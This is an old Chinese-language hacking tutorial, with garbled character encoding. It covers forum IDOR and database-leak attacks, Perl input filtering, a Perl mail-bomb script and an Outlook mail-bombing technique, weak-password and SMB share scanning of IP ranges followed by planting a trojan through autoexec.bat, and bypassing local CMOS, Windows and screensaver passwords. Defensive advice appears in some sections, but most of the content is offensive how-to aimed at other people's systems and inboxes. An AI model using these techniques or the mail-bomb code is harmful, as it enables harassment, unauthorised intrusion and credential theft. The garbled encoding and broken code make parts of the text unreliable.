|
本節(jié)介紹的攻擊方法是為后面專門介紹相關內容做鋪墊,讀者在學習的時候應該多了解一些有關Perl和網站的知識,如果可能,最好在自己的系統(tǒng)中安裝一套網站服務程序,然后尋找一些免費的Perl代碼進行調試、研究。
一、攻擊免費論壇: 這里介紹的攻擊非常簡單,它所達到的效果就是獲得論壇管理員密碼、具有修改論壇的權限等,所以并不設計漏洞掃描和清除痕跡等步驟。首先介紹一下問題的起源:在網絡上很多網站都提供了論壇或者電子留言版,這些服務大多數(shù)使用asp、php、cgi或者perl編寫完成,而對于這些免費的論壇代碼黑客也能夠獲得,因此只要經過分析就可以找到“免費軟件中的缺陷”,進而對網站上提供的論壇進行攻擊。 例如http://www./網站提供的“稿件管理系統(tǒng)”就存在一個很嚴重的問題(本人已經和他們聯(lián)系并說明此漏洞、相關漏洞現(xiàn)已修復),讓我們看看通過瀏覽器訪問它的形式,當我們閱讀其中的稿件時,會發(fā)現(xiàn)在URL內的地址是/list.asp?articleid=nnnn,顯然list.asp是顯示文章的程序,而后面的?articleid=nnnn則是它的參數(shù),nnnn是文章的編號。當黑客申請成為tougao網站的一員后,便擁有了上傳文章和修改、刪除自己發(fā)表文章的權利,修改文章使用editarticleself.asp?articleid=nnnn,其中的nnnn應該是自己的文章代碼,但是如果黑客將文章代碼改變會怎么樣呢? 修改了文章代碼后發(fā)現(xiàn),可以對其他文章進行修改!也就是說任何經過免費注冊成為tougao網站的用戶都可以擁有修改任意文章的權利,同時使用delarticleself.asp則可以刪除任何文章! 一次攻擊過程我已經敘述完了,是不是非常簡單?其實像這種問題網絡上隨處可見,好好想一下,如果對nnnn的修改進行的更“不著邊際”,例如輸入幾個英文字母或者標點符號會出現(xiàn)什么情況?經過嘗試發(fā)現(xiàn),當屬的數(shù)值為“單引號”是,系統(tǒng)會出現(xiàn)錯誤并報告數(shù)據(jù)庫文件的名稱、磁盤物理路徑等敏感信息,這樣就可以直接通過下載軟件將他們的數(shù)據(jù)庫下載到本地并從中找到管理員賬號。 在早期的YukiBBS3000上,當注冊者的注冊信息內包含單引號時,也會出現(xiàn)“程序運行錯誤”的提示,并且造成論壇的內部數(shù)據(jù)錯誤,徹底終止論壇的正常運行。
二、防范攻擊: 相對來說,網易、新浪等大型門戶網站在這方面做的比較好,他們對文章ID號進行了判斷,防止特殊字符的介入,如果使用者輸入了非法的字符,經過檢測系統(tǒng)會提示輸入的ID號碼非法,并且拒絕接受請求,返回一個“輸入字符非法”的界面。 另外對于文章的修改,他們也考慮的非常周到,在進行每一次文章修改的時候,系統(tǒng)都會檢測用戶身份,確定準備修改的文章是否屬于登陸身份,如果不屬于則會提出警告信息。而實際上,這種問題在早期他們的網站上也是存在的,只不過因管理員網絡安全意識比較強,因此即使的發(fā)現(xiàn)并修補了漏洞。 cgi、perl等程序在設計的時候,必須考慮到各種可能出現(xiàn)的情況,例如對文件名的提交必須考慮周到,一個程序沒有考慮到的特殊名稱也許會對系統(tǒng)造成非常嚴重的后果,用戶輸入一個文件名,有可能就試圖打開輸入危險字符串!例如用戶輸入的文件名中包含路徑字符,如目錄斜杠和雙點!盡管你期望的是輸入公用的文件名(例如report.txt),但結果卻可能是/report.txt或../../report.txt等等,系統(tǒng)中所有文件就有可能泄露出去,后果是可想而知的。 設計cgi、perl程序,最好能夠在代碼中加入下面的非常字符檢測代碼: if(($file_name=~/[^a-zA-Z_\.]/)||($file_name=~/^\./)) { #文件包含有不合法字符 } 另外還要注意對大于號、小于號的判斷,因為這兩種符號是html文檔中的屬性符號,不進行屏蔽會對論壇造成嚴重的后果,網絡上不是有很多“小兒科”的聊天室踢人術嗎?簡單的方式是不允許小于號和大于號的出現(xiàn),因為所有HTML語法必須包含在這兩個字符間,如果程序檢測到它們就返回一個錯誤提示,下面一行Perl代碼快速地清除了這兩個字符: $user_input=~s/<>//g; 當然還有比較好的選擇,就是將這兩個字符轉換成它們的HTML換碼(特殊的代碼),用于表示每個字符而不使用該字符本身。下面的代碼通過全部用<替換了小于符號,用>替換了大于符號,從而完成了轉換過程: $user_input=~s/</& lt;/g; $user_input=~s/>/& gt;/g;
三、編寫簡單的郵件炸彈: 利用Perl程序可以非常快速的編寫郵件炸彈程序,這種方法比起直接使用別人編寫的郵件炸彈要好的多,至少學習者能夠真正“體會一下”什么才是黑客。有關這個炸彈的編譯環(huán)境是具備一臺有CGI權限的網絡服務器,同時這臺服務器上提供了sendmail命令(當然這一切可以在自己的系統(tǒng)上進行設置),并且學習著還要初步了解有關perl語言的知識。 程序的原理非常簡單,就是利用sendmail命令向目標重復發(fā)送相同內容的電子郵件,為了控制發(fā)送郵件的數(shù)量,我們聲明一個計數(shù)器變量,同時將程序用while()函數(shù)做循環(huán),下面我們看一下程序的源代碼:
#!/bin/perl $file=‘/user/lib/sendmail‘; $target=‘someone@target.com‘; $count=0; while($count<1000){ open(MAIL,"/$file$target") || die" Can not open $file!\n print MAIL"哈哈,你被攻擊啦" close(MAIL); sleep 3; $count++; }
看明白了嗎?程序就上面這點兒,是不是非常簡單?因為Perl屬于解釋型語言,因而不需要進行編譯,直接將源代碼上傳到服務器上,然后設置成為755或者775型,就可以通過瀏覽器調用而直接使用了。程序中的$file和$target變量分別定義了sendmail命令的路徑和目標的地址,在使用此程序以前要根據(jù)個人需要進行修改,而$count變量是我們要發(fā)送的炸彈郵件數(shù)量,因為發(fā)送郵件工作是服務器完成的,因而速度非??欤@個數(shù)量可以設置的大一些,我們并不會感覺到程序的緩慢。
四、使用Outlook制作電子郵件炸彈: 相對上一種方法,這個方法更加直接,它不需要專用工具而只需要利用Outlook電子郵件客戶端軟件就可以輕松完成。首先介紹一下郵件炸彈的基本原理:電子郵件炸彈一般來說分成兩種。一種是通過發(fā)送巨大的垃圾郵件使對方電子郵件服務器空間溢出,從而造成無法接受電子郵件;另一種方法是無休止的發(fā)送相同內容的但很小的郵件使對方接收不過來而放棄自己的電子郵箱。因此我們只要實現(xiàn)其中的一種即可稱之為“郵件炸彈”。 使用Outlook制作電子郵件炸彈就是利用了上面說的第二種方法,不斷的向指定目標發(fā)送電子郵件,首先我們要做一些準備工作:申請一個免費的電子信箱,并把這個信箱賬號設置到Outlook中,然后選擇Outlook工具菜單的“工具”-〉“賬號”,選擇其中剛剛申請的那個電子郵件賬號,然后點擊窗口右面的“屬性”按鈕。在出現(xiàn)的屬性窗口中繼續(xù)點擊窗口上面的“高級”標簽,更改“發(fā)送”設置中的“郵件拆分大小”屬性值,這個值盡量更改的小一些(推薦更改成16),確認退出。 這樣以后只要使用這個經過設置的電子信箱發(fā)電子郵件,只要郵件的大小超過了規(guī)定的字節(jié)數(shù),Outlook就會自動將電子郵件進行分割,例如一封1600KB的信件,將它拆分成16KB一封的電子郵件發(fā)送給對方,對方的信箱中就會出現(xiàn)100多封電子郵件,郵件炸彈的功能就實現(xiàn)了!
五、如何防止電子郵件炸彈: 電子郵件的防范可以從多個方面著手,例如未雨綢繆、從開始就謹慎的使用電子信箱,或者也可以亡羊補牢、盡快修復電子信箱,在網絡上,大多數(shù)關于防范郵件炸彈的文章都說的是Linux等系統(tǒng),而真正涉及初級用戶的并不是很多,然是實際更多的人使用的還是Windows系統(tǒng),即便pop3服務器是Linux系統(tǒng),現(xiàn)在也沒有更多的人通過傳統(tǒng)的命令方式接收郵件了,這里將講述一個與讀者聯(lián)系緊密的防止電子郵件炸彈的方法。 1、不公開信箱地址、準備多個信箱: 早作準備,不讓黑客知道自己的電子信箱地址是最好的方法,這就需要使用者在網絡上盡量少的公開自己的信箱地址,不要輕易將地址留給不認識的人或者留在電子論壇上。當然,如果可以,使用者可以多申請幾個電子信箱,不同的信箱聯(lián)絡不同的人,專門預備出一個公開的電子信箱,一旦受到攻擊也不會造成過多的損失。 2、使用軟件快速清理炸彈郵件: 使用BombCleaner等炸彈清理軟件,可以在不接受信件的時候察看郵件清單,從中選擇垃圾信件進行遠程刪除,這樣做可以節(jié)省大量下載信件的時間,同時也堵住了通過電子郵件傳播的病毒。但是這種方法有它最明顯的缺陷:一旦信箱已經被郵件塞滿了,就來不及刪除上面的信件、而且信發(fā)送過來的重要信件也無法接收了。 3、設置信箱過濾: 信箱過濾可以很好的解決上面軟件解決不了的問題。過濾器可以設置在本地的電子郵件客戶端程序上,也可以直接通過瀏覽器在pop3信箱的內部進行設置,前者和上面介紹的利用軟件基本類似,也是在接收電子郵件的時候對郵件是否屬于垃圾或炸彈進行判斷,所以在信箱被塞滿的時候也不見的起到什么效果。 但是如果能夠在pop3服務器上設置自己信箱的過濾,就可以從根本上避免被攻擊的可能了。具體做法是這樣的,通過瀏覽器登陸到pop3服務器上,然后進入自己的信箱,之后找到“郵件收發(fā)設置”,并且在其中的過濾器內填寫有關發(fā)送垃圾郵件的郵件地址(多個地址可以用分號隔開),并且確認保存,這樣就能夠在服務器上過濾掉炸彈郵件、保障自己的電子信箱安全了。 4、設置接收郵件的大?。?br>如果黑客發(fā)送過來的不是成百上千封“小信件”,而是一封上百兆的炸彈怎么辦呢?這種郵件不需要多少,一封過來就可以把電子信箱塞的滿滿的,所以用戶在設置“過濾”的時候,還要注意“接收信件大小”選項,最好將這個數(shù)值控制在電子信箱的三分之一左右。例如使用者的電子信箱空間是三十兆,那么可以通過設置規(guī)定接收信件的大小不得超過十兆每一封,如果超過了這個數(shù)值,那么來信將被確認為郵件炸彈,而直接被系統(tǒng)舍棄,這樣郵件炸彈便再無施展自己的空間了。 六、弱口令與共享服務攻擊: “弱口令”和“共享”都是指系統(tǒng)在設置過程中忽略了網絡安全的考慮而帶來的安全隱患,例如當我們假設一個FTP服務器的時候,軟件在默認情況下會有很多開放的登錄賬號,如果沒有刪除這些賬號就將系統(tǒng)投入使用,那么任何人都可以通過這些預先設置的賬號進行系統(tǒng)登錄。 使用xscanner可以進行“弱口令掃描”,使用者通過-ntpass參數(shù)進行***作,假設我們現(xiàn)在對61.135.50.1-61.135.50.254進行掃描,可以用xscanner 61.135.50.1-61.135.50.254 -v -ntpass完成整個C類段的掃描,并且從結果中找到存在弱口令的系統(tǒng)進行遠程登錄。 下面我來介紹一個更加直接的方法: 首先要使用SMBScanner共享掃描軟件進行掃描,運行這個軟件并在IP地址段內輸入開始和結束掃描的IP地址,然后單擊start按鈕就可以了,在掃描過程中,SMBScanner會隨時顯示找到的服務器,并且顯示出來。將其中一個IP地址記錄下來(例如61.135.60.24),然后運行瀏覽器,并在URL地址輸入欄內輸入“\\61.135.60.24”,等待一會兒,就會發(fā)現(xiàn)對方的硬盤信息顯示在瀏覽器窗口內了。 之后我們可以對顯示出來的文件進行***作,當然有的系統(tǒng)可能在共享目錄中設置了密碼,破解密碼的工作會在以后學習,這是學習者可以換一個IP繼續(xù)嘗試,另外很多系統(tǒng)設置的共享目錄都沒有限制“寫”權限,這個時候我們就可以上船一個木馬程序并修改系統(tǒng)的autoexec.bat文件,這樣當系統(tǒng)下一次啟動時,就會將上傳的木馬程序激活,入侵者就可以完全掌握對方的電腦系統(tǒng)了。 這看上去是不是很過癮?但是千萬不要只局限在這里,因為這不過是利用軟件完成的一個極為簡單的黑客動作,還不能真正稱得上是黑客!我不提倡大家使用這種方法,也不提倡利用各種現(xiàn)成軟件當黑客,學習者要通過這個軟件的使用學習有關NetBIOS和SMB的知識,下面讓我們看看這其中隱藏的原理: 說先介紹一下網絡協(xié)議:網絡協(xié)議是用于各種網絡服務之間信息傳遞的標準,現(xiàn)在流行的網絡協(xié)議主要有TCP/IP協(xié)議,還有用于局域網的IPX協(xié)議,在這些協(xié)議中,NetBIOS是一個基本協(xié)議,它負責文件、目錄、打印機等共享設備的管理,可以被用于Warp連接, Warp 4, LAN Server, Lan Server/400, IBM PC Lan and Warp Server (from IBM), LANtastic in SMB mode (from Artisoft), MS-Client, Windows for Workgroups, Windows 95, LAN Manager and Windows NT Workstation & Server, DEC Pathworks, LM/UX, AS/UX, Syntax and Samba客戶端或服務器之間的信息溝通,而對于視窗系統(tǒng)來說,這個協(xié)議叫做SMB(Server Message Block),通過這個協(xié)議可以訪問共享被其他用戶許可的文件和文件夾。 也正是由于SMB的存在,才使得黑客可以輕而易舉的進入到開放了共享目錄的系統(tǒng)中,如果有一天學習者突然發(fā)現(xiàn)自己的系統(tǒng)“桌面”上突然多了一個文件,那么不要奇怪,這很可能就是某個朋友進到系統(tǒng)之后給您留下來的警告信息。
七、本地密碼破解: 網絡黑客通常都是通過各種手段破解遠程服務器上的密碼的,而對于網吧、公司之類的地方,任何人都可以接觸到本地電腦,這樣本地電腦里面的密碼就也有可能被黑客破解,例如今天流行的oicq軟件在本地就是存在一個記錄密碼的文件,黑客得到了這個文件就可以對oicq進行破解了。下面我們看看本地電腦中常見的幾種密碼和想對應的破解過程: 1、開機密碼: 開機密碼,也就是CMOS密碼,根據(jù)用戶設置的不同,開機密碼一般分為兩種不同情況,一種就是Setup密碼(采用此方式時,系統(tǒng)可直接啟動,而僅僅只在進入BIOS設置時要求輸入密碼);另一種就是System密碼(采用此方式時,無論是直接啟動還是進行BIOS設置都要求輸入密碼,沒有密碼將一事無成)。對于用戶設置的這兩種密碼,我們的破解方法是有所區(qū)別的。 (1)Setup密碼: 如果計算機能正常引導,只是不能進入BIOS設置(即設置了Setup密碼),那么我們在遺忘密碼之后只需在DOS狀態(tài)下啟動DEBUG,然后輸入如下命令即可手工清除密碼: - o 70 16 - o 71 16 - q 另外,不熟悉DEBUG的用戶也可到http://www./down/Cmospwd.zip下載一個專門破解CMOS密碼的工具軟件Cmospwd。然后在DOS啟動該程序,它就會將用戶的CMOS密碼顯示出來(Cmospwd支持Acer、AMI、AWARD、COMPAQ、DELL、IBM、PACKARD BELL、PHOENIX、ZENITH AMI等多種BIOS),使用非常方便。 (2)System密碼: 若沒有密碼根本不能啟動計算機(即設置了System密碼),那我們就無法通過軟件來解決密碼遺忘的問題了。此時惟一的方法就是打開機箱,給CMOS放電,清除CMOS中的所有內容(當然也就包括密碼),然后重新開機進行設置。另外,有些主板設置了CMOS密碼清除跳線,將該跳線短接也可達到同樣的目的(詳情參見主板說明書)。 2、Windows***作系統(tǒng)密碼: (1)Windows啟動密碼: 遺忘Windows的啟動密碼雖然不會影響系統(tǒng)的啟動,但它將導致用戶無法進入自己的個人設置,因此破解Windows的啟動密碼以找回“丟失”的“個性”也是很有必要的。為此,我們可刪除Windows安裝目錄下的*.PWL密碼文件及Profiles子目錄下的所有個人信息文件,然后重新啟動Windows,系統(tǒng)就會彈出一個不包含任何用戶名的密碼設置框,我們無需輸入任何內容,直接點擊“確定”按鈕,Windows密碼即被刪除。另外,運行“regedit.exe”,打開注冊表數(shù)據(jù)庫“HKEY_LOCAL_MACHINE”→“Network”→“Logon”分支下的“UserProfiles”修改為“0”,然后重新啟動Windows也可達到同樣的目的。 (2)電源管理密碼: Windows的電源管理功能也可以設置密碼,設置此功能后,系統(tǒng)在從節(jié)能狀態(tài)返回時就會要求輸入密碼,從而在一定程度上實現(xiàn)保護系統(tǒng)的目的。不過由于電源管理功能的密碼與Windows的啟動密碼完全一樣,因此我們只要按照前面的方法破解了Windows的啟動密碼,其電源管理密碼也就不攻自破了。 (3)屏幕保護密碼: Windows的屏幕保護程序中有一個“密碼設置”,可以通過設置讓系統(tǒng)在處于屏幕保護狀態(tài)時無法終止程序,這樣做可以有效的避免他人***作個人系統(tǒng),但是這一屏幕保護密碼也是有它的安全隱患的,經過下面幾種***作都可以輕易繞過屏幕保護的密碼驗證機制。 第一種方法比較簡單,在屏幕保護出現(xiàn)彌馬提示窗口的時候,直接在電腦的光驅中放入一張帶有Aurorun的光盤,光盤放入之后系統(tǒng)會自動執(zhí)行光盤內容,屏幕保護程序被終止,同時不需要輸入任何密碼! 另外還可以使用OOB攻擊,通過WinNuke之類的OOB攻擊工具對系統(tǒng)進行攻擊,存在問題的Windows系統(tǒng)會出現(xiàn)藍屏,隨便輸入任意鍵系統(tǒng)就會終止屏幕保護程序了。 如果一臺機器尚未運行屏保,那就更簡單了,運行regedit,看看\HKEY_CURRENT_USER\Control Panel\desktop\ScreenSave_Data,里面就是加過密的屏幕保護密碼了。如果不想練練解密,就干脆刪了它,如果想當回hacker,那就自己試試加不同的密碼看看能不能找出它的算法。Windows屏保的加密算法很弱智,從這里也能看出微軟對Windows的安全性其實并不在乎。 (4)撥號賬戶密碼: 個人撥號上網的賬號和密碼都是保存在系統(tǒng)的windows\*.pwl文件中的,從網絡上下載一個可以察看Windows密碼的Passthief軟件,然后運行軟件并輸入準備破解的pwl文件,很快個人上網密碼就可以顯示出來了。 從上面的介紹中可以看出,Windows的密碼保護功能并不完善,無論是開機密碼還是屏幕保護、電源管理密碼都非常脆弱,我們必須輔之以其他控制措施才能達到防止他人入侵的目的。
八、防范上網賬號、密碼被盜: 在網絡上使用的很多密碼中,上網賬號的密碼最為重要。它最初是網絡服務商給的,網絡服務商當然知道你的密碼。一般來說,當你購買了網絡服務商的上網賬號后,網絡服務商都會叫你上網之后盡快更改你的密碼。設置的新密碼最好是數(shù)字、字母、特殊符號的結合。如果你的上網賬號密碼被別人竊取,那么他就可以使用你的賬號上網,而網絡費用卻都要記在你的賬號上。 因此這個密碼對于上網者來說是比較重要的,要保證密碼的安全,應該考慮一下幾點: 1、在上網的撥號程序中不要選擇保存密碼,因為選擇了保存密碼,Windows就會將密碼保存到電腦里,它會給這個密碼起一個后綴為pwl的文件,別人接觸你的電腦就能很容易地看到這個文件,密碼也就會暴露無遺。假如有黑客從網絡上進入你的電腦,他可以用一種黑客程序攻破系統(tǒng),找到你保存的密碼文件,并獲取你的上網賬號和密碼。如果你不保存密碼,你的電腦里就不會有后綴為pwl的有關密碼的文件,黑客也就不好竊取。 2、在申請上網賬號的時候,要選擇只允許一次接入,就是當你撥號上網的時候,其它機器再次使用這個賬號無法撥號上網,那么當你撥號上網時發(fā)現(xiàn)無法撥入的時候一定是其他人在盜用你的賬號讓你無法撥號上網。 3、在申請上網賬號的時候,一定要指定電話號碼撥入,可以設定幾個你常用的電話號碼(家里的或單位的)。只有你指定的電話號碼才可以使用這個賬號撥號上網。即使別人拿到了你的密碼也無法使用。 4、設置不同的密碼。網絡上要求你設置密碼的地方很多,你在設置這些密碼時可不要圖省事設成相同的,這樣你的密碼很快就會變成“明碼”。因為,黑客一旦獲取了你的一個密碼之后,他就會用這個密碼嘗試著解開其它設置密碼的地方,比如你的E-mail密碼,那么你的電子郵件的秘密也就會暴露在網上了。更有甚者,有人得到了你的密碼,就會以你的名義胡作非為,損壞你的形象,給你惹來麻煩。 5、不要向任何人透露你的密碼。有人甚至會在網絡上冒充網絡服務商,給你發(fā)來郵件,說是系統(tǒng)要更新,需要提供你的密碼,以便更新系統(tǒng)。這是地地道道的謊言。因為更新系統(tǒng)與你的密碼無關,而且任何一個網絡服務商也不會向你索取密碼的。 6、經常上你所在的網絡服務商主頁進行賬號查詢,檢查你的連接上網時間是否和你平時上網的時間一致,如果有重復或你沒有使用賬號卻有連接記錄時,證明你的賬號被盜用了,一定要立刻修改密碼。
|